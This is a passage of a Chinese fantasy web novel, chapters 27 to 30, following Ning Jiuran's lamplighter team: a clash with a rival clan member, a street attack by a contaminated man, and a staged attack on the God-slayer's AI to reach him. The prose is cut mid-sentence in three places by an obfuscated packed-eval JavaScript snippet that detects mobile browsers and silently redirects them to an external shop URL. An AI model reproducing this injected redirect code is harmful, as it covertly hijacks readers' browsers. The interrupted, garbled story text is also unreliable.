家主看看他,再看看还站着的众人,摆摆手:“大家都坐吧。应决来了,一路顺利吗?” 赫应决没抬头:“让我回来有事吗?” 底下人呼吸一屏:这语气……弑神者果然和传闻中一样目中无人。 “弑神者大人。”座下一个长老起身,“家主召您回来是为了商讨这次提灯人大赛的事。” 赫应决用鼻音嗯了声,示意他接着说。 “听说这次大赛除了常规的奖项之外,请神司还准备从优秀的参赛队伍中选拔神使的候选人,这件事大人知道吗?”长老说。 “嗯。” 这……暗示还不到位吗? 长老向家主投去求助的眼神,他快说不下去了。 家主微微点头让他坐下,然后亲自转身对赫应决说:“应决啊,神使自上一次换届之后,我们格利烬坦就占了五席,再加上作为弑神者的你,我们格利烬坦在四大家族中的地位是与日俱增啊。” 赫应决本想再“嗯”一声,想了想觉得还是稍微礼貌点,于是应道:“哦。” 家主被噎了下,意识到如果再兜弯子这人估计还能说出几个单音字,就把话敞开来:“我是希望这次大赛我们家族还能有亮眼的表现,应决,毕竟你也是我们从格利烬坦出来的,格利烬坦的荣耀也是你的荣耀。” “呵。”赫应决低低地笑了声,抬起头,“家主,我殿中那五位神使应该把他们知道的都告诉你们了吧?还有什么信息需要单独问我吗?” “是,其实我对我们格利烬坦的家族代表队是充满信心的,只是神使之位事关重大,我们在请神司中的分量关于家族前途,还希望应决你在关键时候多多关注他们。”家主笑着说。 “是啊是啊,有弑神者在,我们格利烬坦必然能更上一层楼!” “格利烬坦的荣耀一定会延续。” “弑神者就是他们最好的标杆啊……” “格利烬坦必胜!” 底下的长老们开始附和。 赫应决颇为无趣地扫了他们一眼。 这群人这么多年还是这副嘴脸,永远能把上不得台面的事说得冠冕堂皇。 “知道了,我看过名单。不出意外的话——”赫应决说到这顿了下,“没有哪只队伍是他们的对手,放心了吗?” 家主很满意这个答案,点点头笑了:“好,应决,接下来我们要讨论一些族中事务,你留下来一块听吧。等会我还有话对你说。” 赫应决没应声但也没起身,靠在一旁眯上了眼。 等开完会各长老和主事都散的差不多时,赫应决看着像是已经睡着了,一动不动地靠在座位上。 虽然家主不太相信他能在这睡着,但还是轻轻喊:“应决啊。” 赫应决没睁眼:“有事就说。” “你平时有时间也多回来住住,你的住宅给你修好放在那,你可是一眼都没看过。”家主挤出一个看着很慈祥的笑容,“怎么说,格利烬坦也是你的家啊,我们是一家人。” 赫应决的嘴角动了动,慢慢睁开眼,眼神里带着疑惑:“家主,就只有我们两个人了,你还要说这种粉饰太平的话吗?” 家主的表情明显一僵。 “是我态度太好让你忘了十七年前发生过什么吗?我现在跟格利烬坦只是交易而已,以后别拿这种话恶心我。”赫应决的眼睛里红光一闪而过,随后站起身从他身边走过,“没事的话我就走了。” 说完,他直接就从大门离开,凤凰飞在他的身后。 家主站在原地,脸色黑了又黑。 议事大厅外面的围廊里,刚刚最后离开不小心听到几句对话的两个主事正捂着嘴,面面相觑,两人匆匆远离议事大厅,走了一处没人的地方。 “天哪,这弑神者怎么对家主这么不客气?”其中一个主事说。 “他这种杀神……也不奇怪吧。我听说,其实他以前并不算出名,不知怎么得了还不是弑神者的司道的青睐,跟他搭档拿下来那届提灯人大赛的冠军,司道大人成了弑神者,他也就做了神使才成名的。”另一个主事压着声说,“但是他后来相当……相当白眼狼,公然跟司道大人对立,说实话现在很多人都在传……” 那个主事忙问:“传什么?” “都传……”说话的主事四面看看,确保没人后,把声音压得几乎听不见,“都传是他杀了司道大人……” “这……这怎么可能!不说司道大人是被伪神教暗算死的吗?”边上主事惊呼。 “司道大人何等天纵英才,当年的伪神教早就被大杀气焰,哪有人是她的对手?”说话的主事低声道,“司道大人死后,过了两个月他就做了弑神者,个中细节你自己想……所以这样的人,你以为他能对家主有什么好态度?” “不会吧……” “反正很多人都这么觉得,就是没人敢说罢了。”这个主事终于意识到自己说了太多,急忙找补,“我也就都是听说,你就听听算了,别出去乱说,我可还没活够。” “知道知道。”另一个主事忙接话,他才不会疯了出去嚼这种舌根。 宁九燃的伤不算重,第二天就申请出院了,跟着已经安顿下来的七组成员,一起住进了请神司主司为所有参赛的提灯人准备的宿舍。 住宿区有一排高楼,门口设有严格的门禁和安检。高楼里各层由一个个组合式公寓构成,为了方便队内交流,每支队伍都住在一间组合式公寓里。 平海分司代表队分到的组合式公寓在27楼,宁九燃推开门,发现公寓内部是两层的,一层非常大,客厅、厨房、卫生间、阳台一应俱全,在远离厨房的那一侧还有三个卧室,所有的家具和设施都是联邦最先进的。 “这配置……主司果然有钱。”宁九燃感慨。 “燃姐,我们三个住楼下这三间,你和珰珰住上面,珰珰特地留了最好的房间给你。”路嘲风跟在宁九燃边上说。 姜滚晁扛起宁九燃的行李上了楼。 “谢了滚晁,你把行李放那就下来吧,我有话跟大家说。”宁九燃仰头对姜滚晁说。 五分钟后,外勤七组全员在客厅聚齐。 “明天就是大赛开幕,后天大赛第一阶段就开赛了,我了解过,第一阶段有轮转对抗战和攻防战两种形式,根据匹配机制和积分机制,我们至少会参加八场轮转对抗战和四场攻防战,对手实力肯定是逐层增加的,所以我们要落实一下战术。”宁九燃开口。 路嘲风问;“轮转对抗战?” “简单来说,就是双方安排队员出场顺序,每次出一名队员,胜者继续,败者下场,直到一支队伍全员被打败。”辰刻解释道。 “对,在这种赛制下,如果对手不强,我们可以考虑保留实力,来应对更强的对手。”宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646315|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 九燃说,“所以我想的是,在第一阶段前段比赛中,辰刻和嘲风尽量保留实力,尤其是辰刻的天秤之手,在关键时候可以成为杀招。我和滚晁就多出点力,把他们的目光都吸引到我们身上。” 姜滚晁应道:“好。” “姐姐,那在轮转对抗战,我是不是帮不上什么忙了?”林珰珰在一边小声问。 “怎么会?”宁九燃笑着看向她,“万一我们受伤了,可以比任何队伍都要更早得到治疗,何况陵鱼可是顶级治愈神格,团战中至关重要的。” 林珰珰得到宽慰,抿嘴笑着点点头。 “叮——”门铃响了。 “走错了吧?”路嘲风起身去开门,“我们在请神城也没有认识的呀?” 门一开,一个气质矜贵的年轻金发男子站在门外,身上穿的也是提灯人服饰,举止得体地微笑:“你好,我叫卢西法·诺克图尔,我是来找宁九燃的。” 宁九燃闻声走来。 诺克图尔,帕拉帝安家族的人? 长相明艳,红发挑染,应该就是了。 卢西法对她伸出手:“你就是宁九燃吧,卢西安跟我说过你的外貌特征。你好,初次见面。” 宁九燃伸手跟他握了下。 “我是来感谢你救了我的弟弟卢西安,非常抱歉来的这么晚,因为前两日卢西安的状态一直没恢复,我和家中长辈就抽不开身。”卢西法拿出一块灰金交织的令牌递给宁九燃,“这是我们家族的最高信物,今后,你就是我们帕拉帝安的座上宾,不管你在什么地方,往令牌中注入神力发出信号,我们家族所属就会为你提供帮助。” 宁九燃接过令牌,上面刻着帕拉帝安的主系神格乘黄。 她之前还在想,那个卢西安会不会只是偶然被赐了嫡系姓氏,毕竟这两天也没人来找,而他又是那个水平,没想到这家伙还真是嫡系。 谢礼不错,这把值了。 “不客气,谢礼很好,我喜欢。”宁九燃把令牌收进手链里,忽然想到了什么,“对了,令弟的语言表达过于单纯了,你们记得好好教他,多说说世道险恶之类的,免得下次再遇到危险。” 那个卢西安上次但凡遇到别人,说不定就被咔嚓了。 卢西法不知有没有听进去,只是淡淡一笑:“不会有下次了。” 宁九燃还没品味这句话,走廊那头就响起一个嘹亮的声音: “卢西法,堂堂帕拉帝安的少主,推了那么多族中事务,还避着不跟我比试,就是来见这些废物平民的吗?” 声音伴随着一团飞卷而来的火焰停在卢西法身边,一个红发男子从火焰中显露出来,眯眼打量了下聚到门口的宁九燃他们。 卢西法侧身退了一步,避开红发男子要搭他肩膀的手,说:“塔赤斯,宁九燃是我们帕拉帝安的座上宾,注意你的言辞。” “你的座上宾什么时候这么掉价了?”塔赤斯挑衅地嗤笑了声,“一群上不了台面的跳梁小丑,又穷酸又废物……” “闭嘴。”卢西法听不下去,呵道。 “你说什么!”姜滚晁早就忍不住,整个人上前,拳头举力便要往上挥。 “滚晁!”宁九燃抬手挡住他的出拳,顿了顿,压着声说了句,“要识相。” 姜滚晁极其不解地收回拳。 塔赤斯听了这话相当满意,身体往宁九燃跟前凑:“诶对了,这个漂亮的妹子就很懂嘛,我可是格利烬坦家族的人,要识……” 见他靠过来,宁九燃眉头一拧,直接抬手一巴掌抽上去。 “啪——” 发出极其清脆的声音,可见用劲之大。 塔赤斯被猝不及防地一扇,整个人都被扇歪到一侧。 宁九燃收回微微发麻的手,咬着牙说:“我说的是你,要识相。” 28. 第28章 “你……你这个贱民!敢打我!”塔赤斯回神暴怒,当场神相显现就要动手。 “塔赤斯!”卢西法拦住他,家族子弟的优雅终于裂了条缝,“你是准备得罪帕拉帝安吗!” “卢西法,你脑子坏了吧?用帕拉帝安为这种货色撑腰!”塔赤斯气急败坏地喊,“我告诉你,我现在就去向主办方举报他们在赛期私斗,让他们灰溜溜滚出请神城!” “等下……”辰刻从容地走到他面前,慢条斯理地开口,“我记得大赛手册上规定的是‘参赛提灯人在赛期使用特能私斗,取消参赛资格’,我们队长刚才好像没有使用特能吧?” “你!我……”塔赤斯语塞。 “就是就是。”刚刚还紧张了一下的路嘲风此刻彻底放松,“没用特能,你能把我们怎么样?” 领会宁九燃刚才用意的姜滚晁也走上前,把巨剑往边上一立。 “可是你们也打了我,称得上私斗,就算不能取消资格,我也会让你们吃不了兜着走。”塔赤斯指着脸上的红印。 “这怎么能叫私斗呢?实在是你对我称呼太像一个色狼,我条件反射就打了上去——”宁九燃上前一步,慢悠悠地笑着说,“见谅呀。” 卢西法看塔赤斯吃瘪的样子没忍住抽了下嘴角,但基于世家大族的礼仪,他还是控制了表情:“塔赤斯,留着力气等比赛,别在这继续丢人了。” 走廊上已经围了不少听到热闹跑出来的提灯人,都目睹了刚才宁九燃的那一巴掌,此刻正捂着嘴叽叽喳喳的,想来没多久今天这出大戏就会在参赛者里传遍了。 塔赤斯没想到会这样收尾,指着宁九燃说了句:“赛场上见,你给我等着!” 等塔赤斯走远,宁九燃扬起眉:“格利烬坦家的人都这样?” “一位弑神者,五位神使,嚣张些也不奇怪吧。”卢西法淡淡地说。 有道理。 宁九燃点点头,忽然就想起了某位做派更夸张的弑神者,但怎么说,他就并不讨人厌…… 也不知道他最近在忙什么,按理说弑神者这种档次的人确实难见着,但宁九燃自从第一次见他之后就隔三差五老见到,突然这么长一段时间不出现,到有点不习惯了…… “那我也就先告辞了。”卢西法看着他们,“宁九燃,期待在赛场上遇见你。” 帕拉帝安的继承人容貌出众,走的时候还吸引了一堆花痴的目光。 宁九燃若有所思地看着他的背影:“他也是这次比赛的参赛者吗?他多大呀?” “燃姐,我刚刚查到了,卢西法·诺克图尔,帕拉帝安有史以来最年轻的继承人,今年22岁,去年在公开场合露面时,神力就已经开到了四重神相,被誉为''帕拉帝安的卡波斯''。”路嘲风看着个人终端的页面说,“也就是帕拉帝安的荣光。” “那是很出众了。”宁九燃想到了卢西安,这兄弟俩的智商和能力也太分配不均了。 宁九燃关上门,回到沙发上靠下:“还有那个塔赤斯呢?” 路嘲风往她边上一坐,打开个人终端的光屏:“这也好查,塔赤斯,朱雀神格,是格利烬坦代表队的。” “他没有格利烬坦的主系神格雷泽龙,那也就不是嫡系,怎么也这么嚣张?”姜滚晁说道。 “他的朱雀神格是2s+神格,天赋相当出色,所以被选入了格利烬坦代表队,在格利烬坦地位是很高的。”路嘲风补充说。 “朱雀……”宁九燃低声念道。 “我们这次算得罪他了,接下来会不会很麻烦?”辰刻微微蹙眉。 宁九燃摆摆手:“应该不会,有帕拉帝安在,他不敢随便对我们出手,至于到了赛场上,谁输谁赢还不一定。” 几人见宁九燃这么说,也都莫名放松下来。 “燃姐,我有个问题。”路嘲风做举手状,“我们今天训练什么内容?这几天你不在,我们就只做了些技能练习。” 宁九燃:“不练。” “啊?” “第一次来,趁还没正式开赛,我们去逛逛请神城。” 虽然来之前对请神城的繁华有一定的预料,但真看见了还是忍不住惊叹。 请神城与别的城市不同,因为请神司主司坐落在此,它的大部分居民都是特能人。 神力建构加上全联邦最先进的科技,让请神城看起来像超脱现实的乌托邦。 宁九燃走了两步就理解赫应决为什么那么嫌弃平海了。 两地一比,平海确实委屈那位养尊处优的弑神者大人了。 宁九燃几人坐上快速空中轨道,从高处俯瞰了大半个请神城,然后在请神城的核心商业圈下了车。 核心商业圈熙熙攘攘,但与平海那种小城市不同的是,整个街面都透出一股浓郁的科技文明感。 “您好,欢迎来到请神城中心商业圈。” 宁九燃刚走两步,一个机器人便走到她身边,面部显示屏出现了一个笑脸:“有什么可以帮助您?” 宁九燃注意到它的底部有清洁探口,走过的地方连灰尘都被吸的干干净净。 “这小机器人可爱的嘞!”路嘲风非常手欠地摸了摸机器人的头,“带我们去一家好吃的餐厅吧。” “好的,已为您规划路线,目的地是维斯铂餐厅。”机器人走在他们前面引导路线,还介绍着,“维斯铂餐厅是请神城餐饮文化的标杆之一,其特色菜有冰与火的重构、亚里纳拉海的眼泪、西斯岛的落日时分……” 宁九燃:“……这像话吗?” 机器人:“我刚刚为各位推荐的都是维斯铂餐厅的特色菜,这家餐厅致力于从菜名开始就让客人拥有极致美的体验……” 宁九燃:“美到看着菜单点了菜都得开盲盒……” 风格有点过于造作了。 大概是提灯人大赛举办在即,各地的参赛者还有观赛的观众都差不多抵达了请神城,加上此刻是饭点,餐饮这条街上人流非常多。 机器人走在前面开路,一直在循环:“您好,可以让一下吗?谢谢您,祝您拥有愉快的一天……您好,可以让一下吗……” 宁九燃觉得这个初始程序给它设定的词有点多到鸡肋了,上一个人都让开了,小机器人还坚持把词说完,于是它对着下一个挤到它面前的人来了句:“谢谢您,祝您拥有愉快的一天。” 堪称诡异。 宁九燃一行人就慢慢随着人群往前走,辰刻和姜滚晁在前面,路嘲风左顾右盼地乱晃,宁九燃拉着林珰珰走在后面。 就在这时,一个东西不知从何处横空砸了过来,宁九燃敏锐地感受到,立即反应过来,拉着林珰珰侧身一避,同时另一只手抓起旁边人手提袋里的长棍面包迎了上去。 一柄锐利的细刀扎在了面包上,撞上的那一刻并没有停下,而是穿透了面包的三分之二才堪堪停住。 面包的主人惊魂未定,腿一软,差点一屁股坐到地上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667995|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>因为刚刚若不是宁九燃反应快,此刻这柄细刀穿透的就是他的头了。 突发事件让人群骤然变得慌乱,人们四散逃开。不过到底是请神城高素质的公民,逃散地十分有秩序,甚至没有太多乱喊乱叫。 人群一散,一个浑身蒙着黑布跌撞踉跄的身影便格外明显! “是他!”宁九燃立刻指着那个身影喊道,“辰刻!” 辰刻双手一叠:“言灵审判,束缚!” 金色的链条飞出,直接缠住了已经跑出十几米的黑衣人,辰刻用手一拽,他被后仰着拉到宁九燃他们面前,重重地摔在地上。 这个人穿了一件黑色的长袍帽兜,手腕脚踝还有头部的衣服都用黑色胶带缠了很多圈,遮得严严实实,而刚才这一摔,左脚脚踝处的胶带松了两圈,露出了一个透明的环。 他抬起手,手心微弱地亮了亮,又暗了回去。 宁九燃挡在林珰珰面前:“小心些,他是特能人。” 没几秒,周边那些刚刚还笑容可掬的机器人迅速围了上来,外观瞬间变形,手臂机械变形成了枪械的形状,对准了地上的黑衣人。 剩下的机器人有秩序地疏散人群。 这些机器人竟然都具备这么高的作战水平,这让宁九燃有些意外。 宁九燃没有随着人群疏散,而是站在原地没动。 三分钟,请神司的直升机抵达现场,主司的提灯人训练有素地压住黑衣人,往直升机内部推。 而刚刚一直倒在地上颤抖的黑衣人,在快接近直升机舱门的时候,突然怒吼一声,身上的神力变成爆燃飞溅的乱流。 “砰!” 一个提灯人反应迅速,冲他开了枪。 黑衣人倒了下去,然后被人抬上了直升机。 其中一名提灯人走到宁九燃面前:“你好,非常感谢你们刚才的出手,避免了一场暴乱,你们也是提灯人吗?” 宁九燃答非所问:“路过,小事。” 提灯人继续说:“我们的任务比较紧急,所以你们可以找机器人登记下个人信息,稍后请神司会对你们的行为进行嘉奖。” 宁九燃:“那个……是什么人?” 提灯人:“应该就是一个拥有特能的不法分子,我们会处理好的,再次感谢你们的帮助。” 说完,这个提灯人快步跑回直升机中,直升机飞离。 “我们要登记信息吗?”辰刻看着凑过来的机器人,问宁九燃。 宁九燃摇摇头:“不。”她转身捡起刚才拿来挡细刀的长棍面包,把那柄细刀拔了出来。 路嘲风看着被拔出来的东西:“这也……不是刀呀。” 这个看着像细刀的东西,实际上是一块被打磨的铁片插进木块里,总的来说,连一柄做工粗糙的刀都算不上。 长棍面包非常坚硬,这个乱七八糟的东西从那么远扔过来却还有这么强的穿透力。 所以,这个人一定受过很专业的训练。 “好了,我们先去吃饭吧。” 几人到达餐厅进入包厢后,宁九燃让服务员都离开,关上包厢门,对路嘲风说:“嘲风,干扰一下包厢里的所有设备。” 路嘲风比了个OK的手势,点开个人终端敲了几下:“好了燃姐。” “怎么了吗?”姜滚晁注意到宁九燃表情有些严肃。 宁九燃在位置上坐下来,沉声说:“刚刚那个人不对劲,他身上有黑雾,是污染者!” 29. 第29章 “黑雾?”路嘲风震惊地看向宁九燃,“污染者怎么会出现在请神城?” 请神城是联邦第一大城,除了请神司主司,联邦政府、军事要塞以及各种身份显贵之人的住宅都在这里。 整块区域所有入城的关卡,天上地下水里都卡得严严实实,连一丝不该进的神力都不会放进来。每个关卡点都有提灯人负责检查每个入城之人的神格、神相层级,以及体内是否有黑雾。 因为体内有黑雾的人,要么是低污染,需要立刻送往专门医院救治;要么是具有强攻击性的污染者,必须控制起来。而最后一种可能就是伪神教徒。 而无论是哪种情况,体内有黑雾的人都不应该出现在请神城内,甚至在人群流动的大街上。 辰刻:“你是怎么发现的?” 他们提灯人身上都会配备一个密牌,在密牌上用特殊的方法施以神力就可以检测黑雾痕迹,但他们出门的时候并没有穿提灯人制服。 “我的神力让我天生受黑雾影响较小,同时对黑雾的存在又比较敏感。”宁九燃说。“而且,他在进入直升机前拼命暴动神力的那一下,我就感知到了他神力中的黑雾。” “他是失控的污染者,所以才到大街上伤人吗?”姜滚晁在一边出声,“可他是怎么进的请神城呢?” “他没有失控。”宁九燃顿了顿说,“他体内的黑雾浓度非常低,远远不到失控发狂的程度。请神城的关卡进城的时候你们应该都见过了,这是连伪神教徒都渗透不进的地方,凭他自己不可能进来。” 路嘲风挠头:“那这是什么情况?” 宁九燃思酌了下,说:“我怀疑他本来就在请神城中,甚至对请神城很熟悉。你们想,以他这种怪异的装扮不可能在大街上走太久,所以他肯定是一出来就直奔人流量最多的商业圈。” “本就在城内?”辰刻疑惑道,“可是请神城内没有治疗污染者的特殊医院,也没有关押伪神教徒的监狱,他怎么会在城内呢?” “不知道。”宁九燃摇了摇头,眼神一沉,“但是,我发现他的脖子上有一个我很眼熟的印记,就是他刚刚爆发神力的时候,脖颈上出现了一个黑色的印记。” 宁九燃站起身,导出个人终端的一个空白屏,伸指画出了那个图案——黑色粗线条形成一个不闭合的圈,再有一条细弱的线条绕在圈上,一端融入了圈,就好像被吞噬了一般。 “这是衔尾蛇图案吗?”路嘲风观察着。 “像,但不完全一样。”辰刻分析,“衔尾蛇是自己吞噬自己,但这个看着更像是吞噬别人。九燃,你是在哪里见过这个图案吗?” 宁九燃抬眼看他,又看看林珰珰:“你们还记得常清吗?在我的记忆里,她施展请神降临的时候,脖颈侧边也出现了一个有点相似的图案。” 辰刻:“你确定吗?” 宁九燃摇头:“不能完全确定,时间过去太久了,而且当时没有特别注意。” 林珰珰在边上小声开口:“姐姐,我们当时身上都配有微型记录仪,录的视频司里应该有存档,是不是可以调出来看看呀?” 宁九燃叹了口气:“我之前对常清的案子一直存疑,入职有权限后向司里申请过,但司里给的批复是,常清一案所有的档案都已经转到总司,我们无权调阅。” “无权调阅?为什么?这又不是机密?”路嘲风十分奇怪。 他虽然没有亲自参与这个案子,但是入职后听说过,按照总司给的结案报告,怎么看都不是一个需要保密的案子呀…… 除非,这个案子没有表面上这么简单。 宁九燃:“算了,以后有机会再查吧。” “不用等以后。”辰刻突然出声,“我有视频备份。” 四人齐刷刷地看向他。 备份? 辰刻神情自然地打开个人终端,把备份的视频调出来:“怎么了吗?我一直有工作留痕的习惯,而且提灯人守则上又没说记录仪的视频不允许备份,所以在他们收走前我就拷了一份。” 四人:好合理…… 辰刻点开视频,把画面切到常清从宁九燃的神印中挣脱开的时间点,镜头晃动得比较厉害。 宁九燃屏息凝神地看着画面。 常清挣开神印,然后对他们进行攻击,神力攻击散去,施展请神降临…… 宁九燃喊道:“停!” 辰刻暂停画面。 请神司配给提灯人的记录仪用的是联邦最先进的技术,所以即使是晃动的画面,五人也清晰地看见了常清脖子上出现的印记。 跟宁九燃刚刚画的一模一样! 宁九燃坐回位子上:“辰刻,把这个截一份图,发到我们五个人的群聊里,大家以后如果有遇见记得注意下。嘲风,你试试看能不能查到这个印记。” 辰刻点头。 路嘲风立刻开始查,没几分钟皱眉道:“奇怪了,没有任何信息,连张图都没有。” 宁九燃快速捋着思路:“常清、请神香、血月、黑雾还有这个奇怪的印记,这些东西肯定有联系。” “你是觉得主司没有查到真相?”辰刻问。 宁九燃摇了摇头,低声说:“也不一定是没查到。” 几人听懂了言外之意。 查到了真相,但是真相被隐藏了。 宁九燃说:“好了,我们现在也没什么头绪,眼下重要的是大赛,以后有机会再慢慢找线索吧。嘲风,关掉干扰设备,我们点菜吃饭吧。” 吃完饭后,五人回到了复式公寓。林珰珰和姜滚晁去了请神司提供的训练基地,辰刻在客厅研究神格图谱,路嘲风回了房间想试试还能不能查到更多的资料。 宁九燃上楼到房间关上门,用个人终端导出光屏画板,开始梳理思路。 今天这个发现非常关键。 她之前一直有三个困惑: 第一,常清一个好好的外勤组长,为什么要突然背叛请神司? 第二,伪神教的血月事件太过奇怪,她至今没想通主教的目的。 第三,请神司主司为什么要造假结案报告? 而今天,这个闭合的找不到线索的圆,终于出现了一个缺口。 宁九燃特别讨厌被蒙在鼓里,更不喜欢被人耍着玩。 血月事件害的她不得不牵扯进去,那她就一定会查清楚。 只是如今…… 宁九燃把常清、黑衣人、图案和主司连在一起:“想进一步查下去,得看到常清案子的所有档案才行。” 她没有权限,请神司主司的内网可不好进,也不能让路嘲风试,万一被发现了会有危险…… 宁九燃眼睛一转,她想到一个人了。 只是这个人,好像有点不容易见到…… “嘲风!”宁九燃开门从楼上下来。 路嘲风打开房门探头:“我在,燃姐!” “帮我个忙。”宁九燃招手让路嘲风出来,“你这段时间应该有注意到弑神者身边的那个人工智能吧?” “注意到了,就是长得很奇怪但是叫凤凰的那个。”路嘲风点头。 宁九燃眼睛一亮:“你能帮我定位到它吗?” 路嘲风有点不好意思地挠挠头:“燃姐,那个人工智能用的是全联邦最先进的技术,数据网的初步覆盖面有五个请神城那么大,反定位程序大概比街 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678692|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的人还多,我可能有点办不到。” 宁九燃沉思了下,说:“那你能攻击它吗?” 路嘲风震惊地张大嘴,险些脱臼,赶紧扶着下巴:“燃姐,你认真的吗?攻……攻击弑神者大人的人工智能?我还是想看见明天的太阳的啊……” 宁九燃:“你就说能不能?” 路嘲风扶着下巴点头,有一说一:“能,但绝对打不过。” 宁九燃拍拍他的肩膀:“不用你打过,能引起凤凰的注意就可以,最好夸张一点,让它可以主动反向定位我们。” 路嘲风打开个人终端,笑得很命苦:“燃姐,我可以问问我们为什么要这样找这种……明明白白的死吗?” “放心。”宁九燃俯下身看着屏幕,“出了事我担着,我有分寸。” 路嘲风:“……”这件事真的有分寸吗? 五分钟,路嘲风编辑好了代码,不死心地再跟宁九燃确认一遍:“燃姐,我们这个行为跟小猫咪挠老虎的脸没区别的,你确定吗?” “我确定。”宁九燃看了眼他的键盘,“这个是运行是吧……”说着就点了下去。 路嘲风:“诶!” 要不要这么干脆利落?他还想多活一会…… 几乎是同时,弑神殿内,停在长案上的凤凰眼睛亮了下:“大人,我发现一个有趣的事情。” “说。” 要是放在平时,赫应决大概率是不会搭理人工智能眼中的趣事的。 因为他一直怀疑凤凰在出厂的时候被少打了几行代码,此鸟的趣味至今成谜。 上次它也冷不丁地跟他分享趣事,结果就是此鸟不知从哪捕捉到了人类文学的不良糟粕,单纯的人工智能大脑“不辨忠奸”,切换了联邦标准的播音腔给他念了一段,等他意识到不对劲的时候,耳朵表示已经晚了。 但两秒钟前,赫应决正靠在主座上,用手中的笔给一份文件的最后页慢慢地画了六个圈。 他想不通世界上为什么会有这么蠢的人生产出这样的垃圾,还摆在他面前浪费他的时间。 被这种东西荼毒到的赫大人觉得自己已经百毒不侵了,于是勉为其难愿意听一下所谓的趣事。 “有人在攻击我的数据库。”凤凰说,“而且没有使用任何隐匿手段和虚假服务器,按照您的口吻,这比较像是一个人拿着个钝的斧头,连头套都没带就来抢劫弑神殿。” 赫应决眯眼:……我有这么刻薄吗? “行了,你自己处理吧,无聊的话跟这傻子玩会也行。”赫大人表示对这个趣事不感兴趣,叹了口气,决定继续在桌上的文件里作画——不,批阅。 “大人,我又发现一个有趣的事,您可能会感兴趣。”凤凰安静了几秒,开口。 赫应决皱眉看着刚打开的文件:“放心,我不会感兴趣的。” 凤凰:“这个人的地址在提灯人大赛的参赛选手住宿区,2707号公寓。” 赫应决:“哦。” 凤凰:“这是宁九燃住的公寓。” 赫应决手上的笔一顿,合上文件,转身看向凤凰:“什么?” 凤凰:“……您刚刚不是说不会感兴趣吗?” 这边,宁九燃看见程序启动了好几分钟都没反应,狐疑地问:“这个……真的能让凤凰察觉到吗?” 路嘲风:“燃姐,我虽然打不过它,但挠它两下的本事还是有的。” 突然,路嘲风的光屏一变,整个页面变白,然后弹出两个字:开门。 宁九燃:“?” 到门口了?这么直接? 路嘲风:“!” 完了!这么快就杀上来了?! 30. 第30章 宁九燃起身去拉开门,就看见林珰珰和姜滚晁站在门口跟一个……缩小版的凤凰……面面相觑。 凤凰一抬头,用机械音打招呼:“你好,提灯人宁九燃,好久不见呀。为了不引人注意,大人让我的分身来见你。” “先进来。”宁九燃让两人一鸟赶紧进门,然后关上门。 林珰珰终于后知后觉地反应过来:“姐姐,这不是那个……凤凰吗?它说的大人是弑神者大人?” “对……”宁九燃声还没应完。 辰刻听到动静从房间里出来:“他们回来了……这是……凤凰?” 宁九燃有点心累:“对……” 她本来想趁着人少把事情处理了,怎么反而集齐了呢? “宁九燃,这是大人给你的建立光门的神印,你注入神力激活就可以。”凤凰飞到宁九燃面前,背部的机械羽毛分开,一道半成品的神印飞了出来,落到宁九燃手心。 宁九燃看看手心的神印,然后对路嘲风和还没摸清头脑的三人说:“那个,弑神者大人找我有点事,我先去一趟,晚点回来哈。” 说完,她将神力注入神印,神印亮了起来,通道建立完毕,一道光门凭空拉开。 宁九燃冲剩下四人一点头,就走了进去,凤凰也跟着飞了进去,光门闭合。 辰刻愣了几秒:“这……什么情况?弑神者怎么会突然又找上九燃了?” 目睹且参与全过程的路嘲风:……我说是队长主动招来的你们信吗? 宁九燃通过光门直接就到了弑神殿内,一抬头,就看见了正对着她的主座,和坐在上面正看着她的赫应决。 弑神殿内光线昏暗,透石方灯的光经过暗红色系的内饰,折射出了几分红晕。赫应决的肤色冷白,红光映在他那张俊逸非常的脸上,竟透出几分摄人心魄的魅惑。 见她站在原地不动,赫应决开口:“不是找我有事吗?愣在那想什么呢?” 宁九燃:我在想色即是空…… 赫应决伸手,让凤凰飞回到长案上:“用这么蠢的办法,不怕我压根不关心是谁,直接让人把你们抓了?” 此人脸是毒药,嘴是解药…… 宁九燃:“那是因为我相信,以您这样聪明的大脑,肯定能看出来背后是我。” 赫应决摸了摸凤凰的羽毛:“你有事居然会想到找我帮忙?” 宁九燃上前几步,笑着说:“当然呀,赫大人不是说要做我最大的靠山吗?那我有什么事当然第一个找您呀。” 反正话是你说的,不用白不用。 赫应决听了这话,嘴角微微弯起一个弧度:“说吧,什么事?” 宁九燃走到他面前:“我想要看常清一案的所有资料。” 赫应决抬头,那双好看的眼睛注视着宁九燃:“原因?” 宁九燃:“结案报告是假的。” 赫应决沉下声音:“你在质疑请神司主司?” 